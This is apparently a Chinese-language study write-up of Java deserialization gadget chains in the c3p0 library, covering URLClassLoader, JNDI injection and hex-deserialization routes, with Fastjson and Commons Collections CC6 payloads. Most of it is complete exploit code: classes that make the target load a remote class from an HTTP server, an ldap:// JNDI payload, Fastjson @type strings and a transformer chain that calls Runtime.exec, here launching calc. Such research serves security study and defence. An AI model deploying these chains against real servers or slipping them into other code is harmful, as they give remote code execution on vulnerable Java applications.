URLClassLoader链

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>

PoolBackedDataSourceBase入口链

sink点在ReferenceableUtils.referenceToObject()方法里面有类加载器加载恶意类
image.png

一直查找用法:

1
PoolBackedDataSourceBase.readObject()->ReferenceIndirector.getObject()->ReferenceableUtils.referenceToObject()->

我们查看PoolBackedDataSourceBase.readObject()方法,发现会判断o是否是IndirectlySerialized的对象或子类,是才调用getObject()方法,然后强制转化为ConnectionPoolDataSource类型的对象再进行一次判断是否调用getObejct()方法
image.png
而ConnectionPoolDataSource是一个接口,没用实现Serialize,不能被序列化
我们看PoolBackedDataSourceBase的writeObject()方法:
image.png
先判断是否可以序列化,不能就新建一个ReferenceIndirector对象,并调用ReferenceIndirector的indirectForm()方法来处理connectionPoolDataSource变量
image.png
getReference()方法会新建一个Reference对象
然后返回一个ReferenceSerialized对象
image.png
这个IndirectlySerialized接口是继承Serializable的,可以被序列化,而且也是readObject入口点需要的对象类型,满足条件,所以我们要通过反射来修改PoolBackedDataSourceBase的connectionPoolDataSource变量为我们的恶意变量

重点:

  • 我们需要知道connectionPoolDataSource变量是ConnectionPoolDataSource类型的,需要恶意类要重写它的方法,因为在反射的时候需要赋值,而ConnectionPoolDataSource又是继承CommonDataSource的,因此也要重写CommonDataSource的方法

  • 恶意类还要继承Referenceable,因为在writeObject()方法的时候调用 ReferenceIndirector的indirectForm()方法,有一个强制转换成Referenceable类型
    image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class test2 {

public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
return new Reference("calc","calc","http://127.0.0.1:8002/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);


try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}

}

public static void main(String[] args) throws Exception{
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}

}

calc

1
2
3
4
5
6
7
import java.io.IOException;

public class calc {
public calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

开http:
1
python -m http.server 8002

image.png

其他链子:
这里我们的入口点PoolBackedDataSourceBase具备以下条件:

  • readObject()方法会调用可控类的getObject()方法
  • writeObject()方法会将一可控内置变量进行ReferenceIndirector.indirectForm()方法封装返回一个ReferenceSerialized对象

    JndiRefDataSourceBase入口链

    我们查找这种类找到了JndiRefDataSourceBase
    image.png
    他writeObject写的是jndiName变量
    image.png
    readObject()正常调用getObject()
    因此只需要修改入口类即可,其他保留上面一样的exp,因为jndiName变量是Object类型的对象,恶意类的重写方法可以不变,不影响
    1
    2
    3
    4
    5
    public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
    JndiRefDataSourceBase JndiDataSourceBase = new JndiRefDataSourceBase(false);
    Field connectionPoolDataSourceField = JndiRefDataSourceBase.class.getDeclaredField("jndiName");
    connectionPoolDataSourceField.setAccessible(true);
    connectionPoolDataSourceField.set(JndiDataSourceBase,lp);

image.png

WrapperConnectionPoolDataSourceBase入口链

它的writeObject处理的nestedDataSource变量,是DataSource类型,我们的恶意类需要重写DataSource接口和Referenceable接口的方法
又因为WrapperConnectionPoolDataSourceBase是抽象类,我们也需要额外构造一个子类继承它来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import com.mchange.v2.c3p0.ConnectionCustomizer;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.DataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class test1 {
public static class wrap extends WrapperConnectionPoolDataSourceBase{

public wrap(boolean autoregister) {
super(autoregister);
}

@Override
protected PooledConnection getPooledConnection(ConnectionCustomizer cc, String idt) throws SQLException {
return null;
}

@Override
protected PooledConnection getPooledConnection(String user, String password, ConnectionCustomizer cc, String idt) throws SQLException {
return null;
}
}

public static class C3P0 implements Referenceable, DataSource {

@Override
public Reference getReference() throws NamingException {
return new Reference("calc","calc","http://127.0.0.1:8002/");
}

@Override
public Connection getConnection() throws SQLException {
return null;
}

@Override
public Connection getConnection(String username, String password) throws SQLException {
return null;
}

@Override
public <T> T unwrap(Class<T> iface) throws SQLException {
return null;
}

@Override
public boolean isWrapperFor(Class<?> iface) throws SQLException {
return false;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(DataSource lp) throws Exception{
wrap wrapperConnectionPoolDataSourceBase=new wrap(false);
Field connectionPoolDataSourceField = WrapperConnectionPoolDataSourceBase.class.getDeclaredField("nestedDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(wrapperConnectionPoolDataSourceBase,lp);


try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(wrapperConnectionPoolDataSourceBase);
return baout.toByteArray();
}

}

public static void main(String[] args) throws Exception{
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}

}

image.png

JNDI注入

1
2
3
4
5
6
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;

public class test3 {
public static void main(String[] args) {
// WrapperConnectionPoolDataSourceBase w1=new WrapperConnectionPoolDataSource();
// System.out.println(w1.getNestedDataSource());
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1389/Basic/Command/calc\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

sink点是JndiRefForwardingDataSource的dereference()方法
image.png
查找用法向上找到了本类的inner()方法-<setLoginTimeout()方法—<WrapperConnectionPoolDataSource#setLoginTime—<JndiRefConnectionPoolDataSource.setLoginTimeout()方法

这里一开始有个没看懂的点是WrapperConnectionPoolDataSource#setLoginTime()方法里面
image.png
这个getNesteDataSource()方法跟进后发现是JndiRefForwardingDataSource类,刚好连上链子
我们看构造方法发现了答案:
image.png
发现会给wcpds调用setNestedDataSource方法,设置好了JndiRefForwardingDataSource类型的对象

Hex反序列化

WrapperConnectionPoolDataSource类的构造方法有个C3P0ImplUtils.parseUserOverridesAsString方法
image.png
跟进
image.png
image.png

它先判断userOverridesAsString是否3为null,不是就截取HASM_HEADER头和最后的分号之间的部分,然后把数据转成字节数组,强制转化为Map类型,调用SerializableUtils.fromByteArray方法
image.png
image.png
这里可以直接反序列化
我们传入的参数是getUserOverridesAsString()方法返回的值,跟进
image.png

image.png

是个字符串类型的内置变量,叫userOverridesAsString,在它父类里面,我们传入的恶意map类赋值给它即可

exp直接抄文章的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C3P0HEx_CC6 {


public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");
lazyMap.remove("Atkx");



Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return hashMap2;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);

//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);


}
}

image.png

参考